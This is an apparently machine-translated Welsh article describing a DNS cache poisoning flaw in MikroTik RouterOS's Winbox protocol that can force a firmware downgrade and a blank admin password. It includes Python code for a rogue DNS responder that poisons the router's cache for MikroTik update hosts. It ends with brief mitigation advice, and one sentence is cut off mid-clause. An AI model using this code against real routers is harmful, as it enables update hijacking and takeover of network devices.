Mae'r gallu i israddio dyfeisiau o bell yn seiliedig ar RouterOS (Mikrotik) yn peryglu cannoedd o filoedd o ddyfeisiau rhwydwaith. Mae'r bregusrwydd yn gysylltiedig â gwenwyno storfa DNS y protocol Winbox ac mae'n caniatáu ichi lwytho hen ffasiwn (gydag ailosodiad cyfrinair rhagosodedig) neu firmware wedi'i addasu ar y ddyfais.
Manylion bregusrwydd
Mae terfynell RouterOS yn cefnogi'r gorchymyn datrys ar gyfer chwilio DNS.
Ymdrinnir â'r cais hwn gan ddatryswr deuaidd o'r enw. Mae Resolver yn un o lawer o opsiynau deuaidd sy'n cysylltu â phrotocol Winbox RouterOS. Ar lefel uchel, gellir cyfeirio "negeseuon" a anfonir i'r porthladd Winbox i amrywiol ddeuaidd yn RouterOS yn seiliedig ar gynllun rhifo yn seiliedig ar arae.
Mae nodwedd gweinydd DNS wedi'i hanalluogi yn ddiofyn yn RouterOS.
Fodd bynnag, hyd yn oed pan fydd swyddogaeth y gweinydd yn anabl, mae'r llwybrydd yn cynnal ei storfa DNS ei hun.
Pan fyddwn yn gwneud cais gan ddefnyddio winbox_dns_request er enghraifft example.com, bydd y llwybrydd yn storio'r canlyniad.
Gan y gallwn nodi'r gweinydd DNS y dylai'r cais fynd drwyddo, mae nodi cyfeiriadau anghywir yn ddibwys. Er enghraifft, gallwch chi ffurfweddu gweithrediad gweinydd DNS o
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
Nawr os chwiliwch er enghraifft.com gan ddefnyddio Winbox, gallwch weld bod storfa DNS y llwybrydd wedi'i wenwyno.
Wrth gwrs, nid yw gwenwyno example.com yn ddefnyddiol iawn gan na fydd y llwybrydd yn ei ddefnyddio mewn gwirionedd. Fodd bynnag, mae angen i'r llwybrydd gael mynediad i upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com a download.mikrotik.com. A diolch i gamgymeriad arall, mae'n bosibl eu gwenwyno i gyd ar unwaith.
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("download.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
Mae'r llwybrydd yn gofyn am un grant, ac rydym yn rhoi pump yn ôl. Mae'r llwybrydd yn cuddio'r holl ymatebion hyn yn anghywir.
Yn amlwg, mae'r ymosodiad hwn hefyd yn ddefnyddiol os yw'r llwybrydd yn gweithredu fel gweinydd DNS, gan ei fod yn caniatáu i gleientiaid y llwybrydd gael eu hymosod.
Mae'r ymosodiad hwn hefyd yn caniatáu ichi fanteisio ar fregusrwydd mwy difrifol: israddio neu gefn-borthi'r fersiwn o RouterOS. Mae'r ymosodwr yn ail-greu rhesymeg y gweinydd diweddaru, gan gynnwys y changelog, ac yn gorfodi RouterOS i ganfod bod y fersiwn hen ffasiwn (agored i niwed) yn gyfredol. Mae'r perygl yma yn gorwedd yn y ffaith, pan fydd y fersiwn wedi'i “ddiweddaru”, bod cyfrinair y gweinyddwr yn cael ei ailosod i'r gwerth diofyn - gall ymosodwr fewngofnodi i'r system gyda chyfrinair gwag!
Mae'r ymosodiad yn eithaf gweithio, er gwaethaf y ffaith bod
gwarchod
Yn syml, mae analluogi Winbox yn helpu i amddiffyn rhag yr ymosodiadau hyn. Er gwaethaf hwylustod gweinyddu trwy Winbox, mae'n well defnyddio'r protocol SSH.
Ffynhonnell: hab.com